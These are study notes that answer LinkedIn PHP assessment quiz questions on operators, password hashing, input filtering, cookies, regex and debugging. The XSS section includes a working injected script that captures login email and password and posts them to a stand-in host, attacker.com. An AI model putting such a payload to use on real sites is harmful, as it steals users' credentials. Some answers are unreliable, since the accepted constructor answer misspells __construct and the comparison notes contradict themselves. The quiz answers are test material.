Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

PHP LinkedIn Assesment

Download as pdf or txt
Download as pdf or txt
You are on page 1of 74

Q1.

Output:
echo 76 <=> '76 trombones';

> -1

spaceship operator (<=>) in PHP: The spaceship operator is used for three-way comparisons. It
returns -1 if the left operand is less than the right operand, 0 if they are equal, and 1 if the left
operand is greater than the right operand.

echo 5 <=> 10; // Output: -1 (5 is less than 10)


echo 20 <=> 10; // Output: 1 (20 is greater than 10)
echo 15 <=> 15; // Output: 0 (15 is equal to 15)

echo 'apple' <=> 'banana'; // Output: -1 ('apple' comes before 'banana' in


alphabetical order)
echo 'banana' <=> 'apple'; // Output: 1 ('banana' comes after 'apple')
echo 'apple' <=> 'apple'; // Output: 0 ('apple' is equal to 'apple')

echo 5 <=> '2'; // Output: 1 (5 is greater than the numeric value of '2')
echo '3' <=> 3; // Output: 0 ('3' is equal numerically to 3)
echo 'abc' <=> 123; // Output: -1 ('abc' is treated as 0 numerically, which is less
than 123)But now this is 1.

So about above ques,


Php 7 gives 0: because the string was cast to a number for the comparison
PHP 8 gives -1: the number is cast to string for the comparison instead.

In summary: between number/ string: string is greater than number ex: ‘abc’ <=> 12345 also 1.

0 == "0" = true
0 == "0.0" = true
0 == "foo" = false
0 == "" = false
42 == " 42" = true
42 == "42foo" = false

Link: Backward Incompatible changes:


https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.core.str
ing-number-comparision

Q2. Which is the most secure way to avoid storing a password in clear text in database?
A. $encrypted = shal($password);
B. $encrypted = crypt($password, \$salt);
C. $encrypted = md5($password);
D. $encrypted = password_hash($password, PASSWORD_DEFAULT);

And: D
Security Standards: It follows the current best practices and security standards.

Adaptability: The PASSWORD_DEFAULT constant in password_hash is designed to


automatically use the strongest available algorithm. This means that as PHP evolves and new,
more secure hashing algorithms are introduced, your application will automatically benefit from
these improvements without requiring changes to your code.

Salting: password_hash automatically generates a random salt for each password hashed.
Salting is crucial for preventing rainbow table attacks and ensuring that identical passwords
don't have the same hash in the database.

Algorithm Upgrade: As security standards improve, you can simply change the
PASSWORD_DEFAULT parameter to use a stronger algorithm without having to modify
existing password hashes.

The other options (a, b, and c) are less secure:


• Option a ($encrypted = sha1($password);): SHA-1 is considered weak for password
hashing due to vulnerabilities. It doesn't include a salt, making it more susceptible to
attacks.
• Option b ($encrypted = crypt($password, $salt);): While crypt can be secure if used
correctly, it's more error-prone than password_hash because it requires proper
management of the salt. The PASSWORD_DEFAULT option in password_hash takes
care of this automatically.
• Option c ($encrypted = md5($password);): MD5 is also considered weak for
password hashing, and it doesn't include a salt, making it susceptible to rainbow table
attacks.

when dealing with password hashing in PHP, password_hash with the PASSWORD_DEFAULT
option is the recommended and secure choice.

Extra Studies
Salt: In cryptography, a salt is random data fed as an additional input to a one-way function that
hashes data, a password or passphrase. Salting helps defend against attacks that use
precomputed tables (e.g. rainbow tables), by vastly growing the size of table needed for a
successful attack.

Salt is primarily used in one-way hashing, not in two-way encryption.

AES CBC Encryption:


Code in repo NR01, here’s one thing to understand:
$iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length($method));
$encryptedData = openssl_encrypt($data, $method, $key, 0, $iv);

What this code does?


> Initialization Vector (IV): An Initialization Vector is a random value that is used as an additional
input to the encryption algorithm. The purpose of the IV is to ensure that the same plaintext,
when encrypted multiple times with the same key, produces different ciphertexts. This is
important for security reasons.
• openssl_cipher_iv_length($method): This part of the code determines the required
length of the IV based on the encryption method ($method) being used. Different
encryption algorithms may have different IV length requirements.
• openssl_random_pseudo_bytes(): This function generates cryptographically secure
pseudo-random bytes. It's used to create a random IV with the length specified by
openssl_cipher_iv_length($method).

Purpose: The primary purpose of an IV in encryption is to ensure that the same plaintext
encrypted with the same key produces different ciphertexts each time.
Usage: IVs are used in symmetric-key encryption algorithms to provide an additional input along
with the encryption key. This helps prevent patterns in the plaintext from being evident in the
ciphertext.

Salt in Hashing (One-Way Hashing):


Purpose: The primary purpose of a salt in hashing is to add randomness to each hashed value,
even if the original values are the same.
Usage: Salts are used in one-way hash functions, especially for password hashing

Differences:
Reversibility: IVs are used in reversible encryption where you can decrypt the data back to its
original form using the same key and IV. Salts are used in irreversible hashing, where the goal
is to securely store a hashed representation of the data without the ability to reverse the
process.
Algorithm Dependency: The choice of IV often depends on the encryption algorithm being used
(e.g., AES-256-CBC). Salting is typically independent of the hash function and can be applied to
various hash functions like SHA-256, bcrypt, etc.

Now, $encryptedData = openssl_encrypt($data, $method, $key, 0, $iv);


Here,
0: Encryption options (flags), where 0 means no additional options.
The purpose of this parameter is to allow for additional options or customization during
encryption, but in many cases, a value of 0 is sufficient, indicating the absence of additional
options.

$encryptedData = openssl_encrypt($data, $method, $key, $options, $iv);

The $options parameter is a bitmask, where each bit represents a different option. You can
combine these options using the bitwise OR operator (|). Here is how you can use additional
options:
$options = OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING;

OPENSSL_RAW_DATA: Treats the input and output data as binary, i.e., raw, instead of
base64-encoded. If you need the raw binary data, you might want to include this option.
OPENSSL_ZERO_PADDING: Adds zero-padding to the plaintext before encryption. If the
plaintext length is not a multiple of the block size, zero-padding ensures that it meets the block
size requirements. Note that this option might not be suitable for all use cases, and padding
schemes should be chosen based on your specific security requirements.

Link: openssl_encrypt - Manual - PHP


https://www.php.net/manual/en/function.openssl-encrypt.php
Q3. What does this script do?
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
if ($email === false) {
$emailErr = "Please re-enter valid email";
}

> It verifies that an email address is well formed.

Code used in: (nr02 | nr03)

Code explain: The provided code snippet is used for validating an email address submitted via a
POST request. It uses the filter_input function with INPUT_POST as the filter type and
FILTER_VALIDATE_EMAIL as the filter.
• INPUT_POST: filter type
• FILTER_VALIDATE_EMAIL : filter

The filter_input function is used to get and validate the 'email' input from the POST data.
If the entered email is not valid, an error message is assigned to $emailErr.

• htmlspecialchars($_SERVER["PHP_SELF"]):
o $_SERVER["PHP_SELF"] represents the current script being executed.
o htmlspecialchars is used to convert special characters to HTML entities,
which helps prevent potential security issues, such as cross-site scripting
(XSS). Example: nr04

• INPUT_POST and Filter Types: INPUT_POST is one of the input sources for
filter_input. It specifies that the function should get the input from the $_POST
array. Other input types include INPUT_GET (for $_GET), INPUT_COOKIE (for
$_COOKIE), INPUT_SERVER (for $_SERVER), etc

For example, to get the password,


$password = filter_input(INPUT_POST, 'password',
FILTER_SANITIZE_STRING);

Here, after INPUT_POST the input field name is mentioned email / password

FILTER_SANITIZE_STRING: is used to sanitize a string by removing or encoding any


characters that could be interpreted as HTML or PHP code. This helps prevent Cross-Site
Scripting (XSS) attacks by neutralizing potentially malicious scripts.
The FILTER_SANITIZE_STRING filter was deprecated in PHP 8.1. 0. Use
htmlspecialchars() to encode special characters, or strip_tags() to remove HTML
tags.

Examples:
$str = ‘<script>alert("Hello, this is a malicious script!");</script>’

• filter_var($str, FILTER_SANITIZE_STRING)
o alert(&#34;Hello, this is a malicious script!&#34;);
• htmlspecialchars($str)
o &lt;script&gt;alert(&quot;Hello, this is a malicious script!&quot;);&lt;/script&gt;
• strip_tags($str)
o alert("Hello, this is a malicious script!");

Ex: code repo nr05

Filter_input vs filter_var:
• filter_input(): The filter_input function is specifically designed to be used with external
input sources like $_GET, $_POST, etc., where it automatically fetches the value for you
based on the input type and variable name. It doesn't take the actual value as its first
argument but expects you to provide the type of input (INPUT_GET, INPUT_POST, etc.)
and the variable name.
• filter_var(): be used for filtering variables directly.

Finally, Filters:
Here we see:
• FILTER_VALIDATE_EMAIL: validate email
• FILTER_SANITIZE_STRING (deprecated): encoding scripting characters
• FILTER_VALIDATE_INT: Validates value as integer
• FILTER_VALIDATE_FLOAT: Validates value as float
• FILTER_VALIDATE_URL: Validates value as URL
• FILTER_SANITIZE_EMAIL: Remove all characters except letters, digits and !#$%&'*+-
=?^_`{|}~@.[].

Cross-Site Scripting (XSS) is a type of security vulnerability commonly found in web


applications. It occurs when an attacker injects malicious scripts into web pages viewed by
other users. There are different types of XSS attacks:
• Reflected XSS: In this type of attack, the malicious script is injected into the web
application's output (e.g., in URLs or form inputs) and then reflected back to the user by
the server. When the victim clicks on a specially crafted link or visits a manipulated web
page, the script executes in their browser.
• Stored XSS: Also known as persistent XSS, in this attack, the malicious script is stored
on the server (e.g., in a database), and every time the compromised web page is loaded,
the script executes in the context of any user who views the page.
• DOM-based XSS: This type of XSS occurs when the client-side script in a web page
interacts with the Document Object Model (DOM) in an insecure way, allowing an
attacker to manipulate the DOM environment and execute malicious code.

XSS vulnerabilities can have serious consequences, including stealing sensitive information
(such as cookies or session tokens), session hijacking, defacing websites, spreading malware,
and performing other malicious activities. Preventing XSS attacks involves proper input
validation, output encoding, and the use of security mechanisms such as Content Security
Policy (CSP).

Link: Types of filter: https://www.php.net/manual/en/filter.filters.php


Ex: code rep: nr03

#Real Time example of Cross Site Scripting: (DOM BASED XSS)

Let’s assume the login form looks like this to for a real site:
<form id="loginForm" action="/login" method="post">

<input type="email" id="email" name="email" required>

<input type="password" id="password" name="password" required>

<button type="submit">Login</button>

</form>

An XSS attack might involve injecting the following script into a vulnerable input field on the site:
<script>

document.getElementById('loginForm').addEventListener('submit', function(event) {

event.preventDefault(); // Prevent the form from submitting normally

// Capture the email and password values

var email = document.getElementById('email').value;

var password = document.getElementById('password').value;

// Send the captured data to the attacker's server

fetch('http://attacker.com/store/data', {

method: 'POST',

headers: {

'Content-Type': 'application/json'

},

body: JSON.stringify({ email: email, password: password })

});

// Optionally, you could proceed with the form submission

// event.target.submit();

});

</script>

Q4: In the following script, which line(s) will cause an error(s)?


1 <?php
2 $count = 0;
3 $_xval = 5;
4 $_yval = 1.0;
5 $some_string = "Hello there!";
6 $some_string = "How are you?";
7 $will i work = 6;
8 $3blindmice = 3;
9 ?>

> Line 7 and 8 will cause an error. Line 7 has whitespace in $will i work and should be
$will_i_work. Line 8 cannot start with a number because it is a variable.

Q5: In a conditional statement, you want to execute the code only if both value are true. Which
comparison operator should you use?
> &&

Q6: All variables in PHP start with which symbol?


>$

Q7. What is a key difference between GET and POST?


> GET displays the submitted data as part of the URL. During POST, this information is not
shown, as it's encoded in the request body.

Q8. The operator is useful for sorting operations. It compares two values and returns an
integer less than, equal to, or greater than 0 depending on whether the value on the is less
than, equal to, or greater than the other
> spaceship; left

Q9. Which are valid PHP error handling keywords?


> try, throw, catch, finally

Q10. Which value equates to true?


a. 0
b. NULL
c. ‘’
d. -1

And d:
<?php
if(-1){
echo "true";
}else{
echo "false";
}
?>

Q11. What is missing from this code, which is supposed to create a test cookies?
$string_name = "testcookie";
$string_value = "This is a test cookie";
$expiry_info = info()+259200;
$string_domain = "localhost.localdomain";

> The call to setcookie() is missing.

Cookie: A cookie is a small piece of data stored on the user's device by the web browser while
browsing a website. Cookies serve various purposes and are commonly used in web
development for the following reasons:
• Session Management: Cookies are often used to manage user sessions. When a user
logs into a website, a session cookie is created, allowing the server to recognize the
user's subsequent requests as part of the same session. This helps in maintaining user
authentication and keeping track of user-specific information.
• Personalization: Cookies can be used to store user preferences and settings. For
example, a website might use cookies to remember a user's language preference,
theme choice, or other customization options.
• Tracking and Analytics: Cookies are commonly used for tracking user behavior and
gathering analytics data. Web developers and marketers use cookies to understand how
users interact with a website, which pages they visit, and how much time they spend on
the site.
• Targeted Advertising: Cookies play a role in targeted advertising by tracking users'
online activities and preferences. Advertisers can use this information to display
personalized ads based on the user's interests.
• Security: Cookies can be used to enhance the security of a website. For example,
session cookies can help prevent unauthorized access to user accounts.

Cookies consist of key-value pairs and have attributes such as expiration time, domain, and
path. They are sent between the client (browser) and the server with each HTTP request,
allowing the server to recognize and customize the user experience.

It's important to note that while cookies have legitimate uses, there are also privacy concerns
associated with them. Some users may choose to disable or clear cookies to enhance their
privacy online. Websites are often required to inform users about their cookie usage through
privacy policies and obtain consent in regions with privacy regulations like the General Data
Protection Regulation (GDPR).

Two main types of cookies:


• Session Cookie: These cookies are temporary and exist only during the user's session.
They are typically deleted when the user closes the browser. Session cookies are often
used for session management, storing temporary information like user authentication
tokens.
• Persistent Cookies: Unlike session cookies, persistent cookies have a longer lifespan
and are stored on the user's device for a specified duration, even after the browser is
closed. They are used for purposes like remembering user preferences and tracking
long-term user behavior.
In addition to these, cookies can be classified based on their purpose:
• First-Party Cookies: Set by the website the user is currently visiting. They are primarily
used for site functionality and personalization.
• Third-Party Cookies: Set by domains other than the one the user is visiting. Third-party
cookies are often used for advertising and tracking across multiple websites.

Now, regarding privacy concerns, cookies have been a subject of debate due to potential
implications on user privacy. Here are some concerns:
• Tracking: Cookies can be used to track users' online activities and behavior. While this is
often used for analytics and personalized advertising, some users may find it intrusive.
• Profiling: The information stored in cookies, especially when combined with data from
multiple sources, can be used to create user profiles. This raises privacy concerns as
users may not be comfortable with the detailed profiles that advertisers and other entities
can create.
• Security Risks: While cookies themselves are not a direct security threat, they can be
misused if intercepted. For example, if an attacker gains access to a user's session
cookie, they may impersonate the user. This is why secure practices such as using
secure (HTTPS) connections and implementing secure coding practices are essential.
• Consent and Regulations: Many regions have introduced regulations, such as GDPR,
which require websites to inform users about their cookie usage, obtain consent before
storing certain types of cookies, and provide options for users to manage their cookie
preferences.

Extra: What are different types of web cookies? (excellent blog)


https://cookie-script.com/web-cookie-types

Q12: What is the value of $total in this calculation?


$total = 2 + 5 * 20 - 6 / 3
> 100

Q13. What is the purpose of adding a lowercase "u" as a modifier after the final delimiter in a
Perl-compatible regular expression?
> Both the pattern and subject string are treated as UTF-8.

Exp: This is important when working with multibyte character encodings, such as UTF-8, to
ensure proper handling of Unicode characters.
• Perl-compatible regular expression (PCRE): PCRE stands for Perl-Compatible Regular
Expressions. It refers to a set of functions that provide regular expression pattern
matching using the same syntax and semantics as Perl, a programming language known
for its powerful and flexible regular expression support.
• Delimiter: In regular expressions, delimiters are characters that mark the beginning and
end of the pattern. Commonly used delimiters are slashes ("/") or hash symbols ("#").
For example, in the regex pattern /pattern/, the slashes are the delimiters. The choice of
delimiters is flexible, and you can use other characters as long as they're not
alphanumeric or backslashes.
• Modifiers: Modifiers in regular expressions are optional flags that can be added after the
final delimiter to modify the behavior of the pattern matching. The "u" modifier, in this
context, is used to indicate that the pattern and subject string should be treated as UTF-
8 encoded. Other modifiers exist for different purposes, such as "i" for case-insensitive
matching, "m" for multiline mode, and so on.
Example: code in repo: nr06
// Pattern to match a word (using the \w shorthand) with "u" modifier for UTF-8
$pattern1 = '/\w+/u';

Code exp:
• The pattern1 is /\w+/u, where \w+ matches one or more word characters, and the "u"
modifier is added after the final delimiter ("/"). This "u" modifier indicates that both the
pattern and the subject string should be treated as UTF-8.
• The preg_match function is used to perform the regular expression match.
• The pattern2 is /\p{L}+/u, where \p{L}+ matches one or more Unicode letter
characters. The "u" modifier is added after the final delimiter ("/") to ensure proper UTF-8
handling.
• The preg_match_all function is used to find all matches in the subject string.
• The pattern3 is /\p{^Han}+/u, where \p{^Han}+ matches one or more characters
that are not Chinese (Han) characters. The "u" modifier is added after the final delimiter
("/") for UTF-8 support.

Perl has long been considered the benchmark for powerful regular expressions. PHP uses a C
library called pcre to provide almost complete support for Perl’s arsenal of regular expression
features.Perl regular expressions act on arbitrary binary data, so you can safely match with
patterns or strings that contain the NUL-byte (\x00).

Delimiters: Perl-style regular expressions emulate the Perl syntax for patterns, which means
that each pattern must be enclosed in a pair of delimiters. Traditionally, the slash (/) character
is used; for example, / pattern /. However, any nonalphanumeric character other than the
backslash character (\) can be used to delimit a Perl-style pattern. This is useful when matching
strings containing slashes, such as filenames. For example, the following are equivalent:
preg_match('/\/usr\/local\//', '/usr/local/bin/perl'); // returns true
preg_match('#/usr/local/#', '/usr/local/bin/perl'); // returns true

Parentheses (( )), curly braces ({}), square brackets ([]), and angle brackets (<>) can be used as
pattern delimiters:

Character Class: Perl-style regular expressions support the POSIX character classes but also
define some of their own
Character class meaning

\s Whitespace

\S Non-whitespace

\w Word (identifier) character


\W Non-word (identifier) character

\d Digit

\D Non-digit

Anchors: Perl-style regular expressions also support additional anchors

Assertion Meaning

\A Beginning of string

\Z End of string or before \n at end

^ Start of line (or after \n if /m flag is enabled)

Quantifiers and Greed: The POSIX quantifiers, which Perl also supports, are always greedy .
That is, when faced with a quantifier, the engine matches as much as it can while still satisfying
the rest of the pattern. For instance:
preg_match('/(<.*>)/', 'do <b>not</b> press the button', $match);
// $match[1] is '<b>not</b>'

Note: here /(<*.>)/ matches only <b>


Trailing Options: Perl-style regular expressions let you put single-letter options (flags) after the
regular expression pattern to modify the interpretation, or behavior, of the match. Few modifiers
from Perl that are supported in Perl-compatible regular expressions:

Modifier Meaning

/regexp/i Match case-insensitively.

/regexp/x Remove whitespace and comments from the pattern.

/regexp/u Causes pattern strings to be treated as UTF-8

/regexp/m Make caret (^) match after, and dollar sign ($) match before, internal newlines
(\n).

It’s possible to use more than one option in a single pattern, as demonstrated in the following
example:
<?php
// Example subject string containing a Unicode character
$message = "<<< END
To: you@youcorp
From: me@mecorp
Subject: pay up

Pay me or else!
END";
preg_match('/^subject: (.*)/im', $message, $match);
echo $match[0];
?>

Output: Subject: pay up


Exp:
• /: Delimiters marking the start and end of the regular expression.
• ^: Anchors the match to the beginning of a line.
• subject:: Matches the literal text "subject:".
• (.*): Parentheses create a capturing group that matches any characters (.*). This is used
to capture the content of the subject line.
• i: Modifier for case-insensitive matching.
• m: Modifier for multiline mode, allowing ^ to match the beginning of each line.

In this regular expression, the m modifier is used to enable multiline mode. This is important
because the subject line in the simulated email message spans multiple lines. Without the m
modifier, the ^ anchor would only match the start of the entire string, and the regular expression
wouldn't correctly capture the subject line if it's not at the beginning of the string. With the m
modifier, ^ now matches the beginning of each line within the string. This allows the regular
expression to correctly capture the subject line even when it appears on a new line in the
multiline message.

LINK: Perl-Compatible Regular Expression - Programming PHP


https://www.oreilly.com/library/view/programming-
php/1565926102/ch04s10.html#:~:text=Perl%20has%20long%20been%20considered,classes%
20and%20anchors%20described%20earlier.

Q14. Which code snippet uses the correct syntax for creating an instance of the Pet class?
a. $dog = new Pet;
b. $horse = (new Pet);
c. $cat = new Pet();

> all of them

Q15. What is the best way to explain what this script does?
if (!$_SESSION['myusername'])
{
header('locaton: /login.php');
exit;
}

> This script is on a page that requires the user to be logged in. It checks to see if the user has a
valid session.

Exp: This code requires myusername to be set on session. Here’s I set the data when login is
successful:
// Assume the user successfully logs in and you have verified their
credentials
// For example, after validating username and password
if ($login_successful) {
// Start the session (if not started already)
session_start();

// Set the 'myusername' session variable


$_SESSION['myusername'] = $username; // replace $username with the
actual username

// Redirect to another page (after successful login)


header('Location: /dashboard.php'); // Replace /dashboard.php with
your desired location
exit;
} else {
// Handle unsuccessful login
header('Location: /login.php');
exit;
}

Q16. Which is the correct format for adding a comment to a PHP script?
a. #This is a comment
b. /* This is a comment */
c. // This is a comment

> all of them

Q17. PHP supports multiple types of loops. If you wanted to loop through a block of code if
and as long a specified condition is true, which type of loop would you use?
> while

Exp: loops in php:


• for Loop: The for loop is used when you know in advance how many times you want to
execute a block of code. It has three parts: initialization, condition, and
increment/decrement.
• while Loop: The while loop is used when you want to execute a block of code as long as
a specified condition is true. It may not execute at all if the condition is false initially.
• do-while Loop:Similar to the while loop, the do-while loop is used when you want to
execute a block of code as long as a specified condition is true. The key difference is
that the do-while loop always executes the block of code at least once, even if the
condition is false initially.
• foeach: The foreach loop is used exclusively for iterating over arrays. It simplifies the
process of traversing array elements without explicitly using an index.

Q18. The ignore_user_abort( ) function sets whether a client disconnect should abort a script
execution. In what scenario would you, as a web developer, use this function?
> You would use this function if you have some important processing to do and you do not want
to stop it, even if your users click Cancel.

Remember to use this feature judiciously, as it may keep server resources occupied for a longer
time if not handled properly.
Use Case: File Upload and Processing: One practical use case for ignore_user_abort() is in
scenarios where you have a long-running task or background process that needs to be
completed, and you want to ensure it continues even if the user navigates away from the page
or closes their browser.
Let's say you have a web application that allows users to upload large files, and after uploading,
you need to perform some time-consuming processing on these files, such as resizing images,
extracting information, or converting file formats.
In a typical scenario, if a user uploads a large file and then closes the browser or navigates
away from the page while the server is processing the file, the connection may be aborted, and
the processing might be interrupted. By using ignore_user_abort(), you can ensure that the file
processing continues even if the user leaves the page.
In Laravel, you typically don't need to use ignore_user_abort() directly because Laravel provides
a more structured and efficient way to handle background processing using features like Jobs,
Queues, and the Task Scheduling functionality.
Laravel's Job system is designed to handle asynchronous tasks and background processing in
a more organized and scalable manner. When you have long-running tasks or tasks that need to
be executed independently of the HTTP request lifecycle, you can dispatch jobs to a queue.

Here's a brief overview of how Laravel handles background processing:


• Queues and Jobs: Laravel has a queue system that allows you to dispatch jobs to be
executed in the background. A job is a unit of work that performs a specific task. This
could include tasks like sending emails, processing uploaded files, or any other
operation that can be performed asynchronously.
• Dispatching Jobs: Instead of performing time-consuming tasks directly in your controller
or route, you dispatch a job to the queue.
• Job Execution: Laravel provides queue workers that continuously process jobs from the
queue. This is separate from the HTTP request lifecycle, allowing you to handle
background tasks without affecting the user experience.
Using Laravel's job system is a more elegant and maintainable solution for background
processing, and it is often preferred over using ignore_user_abort() directly.

Q19. The PHP function array_reduce() takes a callback function that accepts a value carried
over each iteration and the current item in the array, and reduces an array to a single value.
Which code sample will sum and output the values in the provided array?
a.
<?php
echo array_reduce([1, 2, 5, 10, 11], function ($item, $carry) {
$carry = $carry + $item;
});
?>
b. <?php
echo array_reduce([1, 2, 5, 10, 11], function ($carry, $item) {
return $carry += $item;
});
?>

Ans: b
The provided code uses the array_reduce function to iterate through the array [1,2,5,10,11]
and reduce it to a single value by applying the given callback function.
([1,2,5,10,11], function ($carry, $item) { ... }): The first argument is the
array to be reduced, and the second argument is an anonymous function (callback function)
that is applied to each element of the array.

Inside the callback function:


$carry: This variable holds the intermediate result as the reduction progresses. It represents the
accumulated value.
$item: This variable represents the current element being processed in the array.
Difference a and b:
Option a gives no output, because there is no return. But if returned then that also gives the
same result because the addition operation is commutative, meaning the order of the operands
doesn't affect the result.

w3school
The array_reduce() function in PHP is a powerful tool used to reduce an array to a single output
value.
Syntax
array_reduce(array, myfunction, initial)
Parameter Description
array Required. Specifies an array
myfunction Required. Specifies the name of the function
initial Optional. Specifies the initial value to send to the function

Another example:
function myfunction($v1,$v2)
{
return $v1 . "-" . $v2;
}
$a=array("Dog","Cat","Horse");
print_r(array_reduce($a,"myfunction"));

Here the output: -Dog-Cat-Horse

But if we don’t want the first hyphen, then do this:

function myfunction($v1, $v2)


{
if ($v1 === "") {
return $v2;
} else {
return $v1 . "-" . $v2;
}
}

$a = array("Dog", "Cat", "Horse");


print_r(array_reduce($a, "myfunction", "")); //initial value needed

So, initially $v1 and $v2 both null so it joins only with hyphens. And $v1 is Dog, it produces -Dog
then $v2 is Cat and it produces -Dog-Cat and this becomes $v1 and $v2 is Horse, so it produces
-Dog-Cat-Horse.
Array_reduce with initial parameter

function myfunction($v1,$v2)
{
return $v1 . "-" . $v2;
}
$a=array("Dog","Cat","Horse");
print_r(array_reduce($a,"myfunction",5));

results : 5-Dog-Cat-Horse

Now what is a callback function? When to use callback function? What’s purpose? Explain with
example:
A callback function, also known as a higher-order function, is a function that is passed as an
argument to another function. The receiving function can then execute or "call back" the passed
function during its execution. In other words, a callback function is a function that you provide
as an argument to be called later when a specific event or condition occurs.

Here are some key aspects of callback functions:


• Passing Functions as Arguments:
• Execution by the Receiving Function:The receiving function, which takes the callback as
an argument, can execute the callback function at a specific point in its execution or
based on a particular condition.
• Dynamic Behavior: Callbacks enable dynamic behavior in code, allowing you to
customize or extend the functionality of a function without modifying its code directly.
• Asynchronous Operations: Callbacks are commonly used in asynchronous
programming, where a function continues executing while waiting for some operation
(such as reading a file or making a network request) to complete. The callback is then
invoked once the operation is finished.

When to Use Callback Functions:


• Use callback functions when you want to customize the behavior of a function or when
you need to perform an operation asynchronously.
• Callbacks are commonly used in scenarios like event handling, asynchronous tasks
(such as AJAX requests), and functional programming paradigms.

Here in this code again: is there any callback function? How do you find if any?
<?php
echo array_reduce([1, 2, 5, 10, 11], function ($carry, $item) {
return $carry += $item;
});
The callback function is defined anonymously within the array_reduce function call. Here's the
part of the code where the callback function is defined:
function ($carry, $item) {
return $carry += $item;
}

This is an example of an anonymous function, sometimes referred to as a lambda function. It is


used as a callback function inside the array_reduce function. In this specific case, the callback
function takes two parameters ($carry and $item) and returns the sum of these two values.
The array_reduce function iteratively applies this callback function to each element of the array
[1, 2, 5, 10, 11] in order to reduce the array to a single value, which is the sum of all its elements.

Q20. Which PHP script uses a constructor to display the string "Winter is almost over!"?
a.
class MyClass {
public function _construct()
{
echo 'Winter is almost over!'."\n";
}
}
$userclass = new MyClass;

b.
class MyClass {
public function _construct()
{
echo 'Winter is almost over!'."n";
}
}
$userclass = MyClass;

Ans: a

Q21. How might you troubleshoot a "call to undefined function" error?


a. Make sure you have imported the file containing the function.
b. Make sure you have spelled the function name correctly.
c. Make sure the function declaration is at an earlier point in the code than the function
call.

> a+b+c

Q22. Which line could you NOT use to comment out "Space: the final frontier"?
a. /* Space: the final frontier */
b. */ Space: the final frontier /*
c. #Space: the final frontier
d. // Space: the final frontier

>b

Q23. What displays in a browser when the following code is written? <?php echo "How
much are the bananas?"?>
a. The browser would display nothing due to a syntax error.
b. The browser would display How much are the bananas?

>b

Q24. Which operator would you use to find the remainder after division?
>%

Q25. What is the significance of the three dots in this function signature?
function process(...$vals) {
// do some processing
}

> It makes the function variadic, allowing it to accept an arbitrary number of arguments that are
converted into an array inside the function.

The PHP code you provided uses the ...$vals syntax, which is known as the "variadic" or "splat"
operator. It allows a function to accept a variable number of arguments, creating an array from
them.

When to use:
• Variable Number of Arguments: This feature is useful when you want to create a
function that can accept a flexible number of arguments. It's particularly handy when
you don't know in advance how many arguments will be passed.
• Creating Flexible APIs: This can be useful in creating flexible and generic functions or
methods that can adapt to different use cases.

Q26. Assuming the Horse class exists, which is a valid example of inheritance in PHP?
a. class Pegasus extends Horse {}
b. class Unicorn implements Horse {}

>a

In object-oriented programming, the implements keyword is typically used for interfaces, and
the extends keyword is used for classes. If Horse is an interface, then the Unicorn class is
saying that it implements the methods declared in the Horse interface. For example:
interface Horse {
public function gallop();
}

class Unicorn implements Horse {


public function gallop() {
echo "Unicorn is galloping!";
}
}

If Horse is a class, then you would typically use extends:


class Horse {
public function gallop() {
echo "Horse is galloping!";
}
}

class Unicorn extends Horse {


// You can add additional methods or properties for the Unicorn
}

Extends: Usage: extends is used when a class is inheriting from another class. It signifies a "is-
a" relationship, meaning that the subclass is a specialized version of the superclass.
Relationship: This establishes a parent-child relationship between classes. The child class
inherits the properties and methods of the parent class.
It's used for code reusability and to model an "is-a" relationship.

Implements: Usage: implements is used when a class is adopting an interface. It signifies a


"implements-a" relationship, meaning that the class agrees to provide implementations for the
methods declared in the interface.

It's used to enforce a common interface across different classes and to achieve polymorphism.
Suppose both Circle and Square classes implement the Shape interface, ensuring that they both
have a calculateArea method. This allows you to treat different shapes uniformly in your code.

Q27. Both triple === and double == can be used to variables in php. If you want to hear that
string "33" and the number 33 are equal, you would use . If you want to check if an array
contains a particular string value at a particular index, you would use _
a. compare; doubles; triples
b. compare; triples; doubles

> ans; a
The question is confusing. And not fully clear:
"If you want to hear that string '33' and the number 33 are equal, you would use": This refers to a
comparison operation, and the correct term is "compare." If you want to check for equality
without considering the type (loose comparison), you would use double equals (==)
"If you want to check if an array contains a particular string value at a particular index, you
would use": This also refers to a comparison operation, and the correct term is "compare." If you
want to check for strict equality, considering both the value and type, you would use triple
equals (===).

So, the correct answer is indeed "compare; doubles; triples," indicating the use of double equals
(==) for loose comparison and triple equals (===) for strict comparison in the given scenarios.

Q28. Your php page is unexpectedly rendering as totally blank. Which step will shed light on
the problem?
a. Add this code to the top of your script: ini_set('display_errors',1);
b. check the server error logged
c. make sure you are not missing any semicolons
> all of the above

When a PHP page is rendered as totally blank (often referred to as the "white screen of
death"), it can be challenging to identify the issue without error messages. Enabling error
display and checking server error logs are common steps to diagnose and resolve the problem.

ini_set('display_errors', 1);
This line of code sets the display_errors configuration directive to 1, which means errors will be
displayed on the screen. It's a useful debugging tool but should be used with caution, especially
on production servers.
<?php
ini_set('display_errors', 1);
error_reporting(E_ALL);

• The ini_set('display_errors', 1) line instructs PHP to display error messages.


• error_reporting(E_ALL) sets the level of error reporting to show all types of errors.

It's important to note that displaying errors on a live production server is not recommended for
security reasons. It's better to log errors to a file and monitor the logs. Here's an example of how
to log errors to a file:
<?php
ini_set('log_errors', 1);
ini_set('error_log', '/path/to/error.log');
error_reporting(E_ALL);

// Your PHP code goes here

Replace /path/to/error.log with the actual path where you want to store the error log file.

b. Check the server error logged


Server error logs provide detailed information about issues on the server side. Checking these
logs can reveal the cause of a blank page.
• On a typical Linux server, error logs are often found in
/var/log/apache2/error.log for Apache or /var/log/nginx/error.log for
Nginx.
• On Windows with XAMPP, logs are usually located in
C:\xampp\apache\logs\error.log.

On Laravel how do I do that?


In Laravel, you can follow a similar approach to debug issues and display errors. Laravel has its
own error handling and debugging features that you can leverage. Here are some steps you can
take:
1. Check Laravel Logs:
Laravel logs errors and exceptions in the storage/logs directory. The primary log file is
laravel.log.You can check this file for error messages and stack traces.
> tail -f storage/logs/laravel.log

This command is used to display the last few lines of the laravel.log file in real-time. The -f
option stands for "follow," and it allows you to continuously monitor the file for updates. This is
commonly used for debugging and checking log entries as they are added to the file.

2. Enable Debug Mode:


In your Laravel application's .env file, ensure that the APP_DEBUG variable is set to true:
APP_DEBUG=true

This setting will display detailed error messages directly in the browser when an error occurs.

3. Use Laravel's config/app.php Configuration:


In the config/app.php configuration file, you can set the debug key to true:
'debug' => env('APP_DEBUG', false),

Make sure that APP_DEBUG is set to true in your .env file.

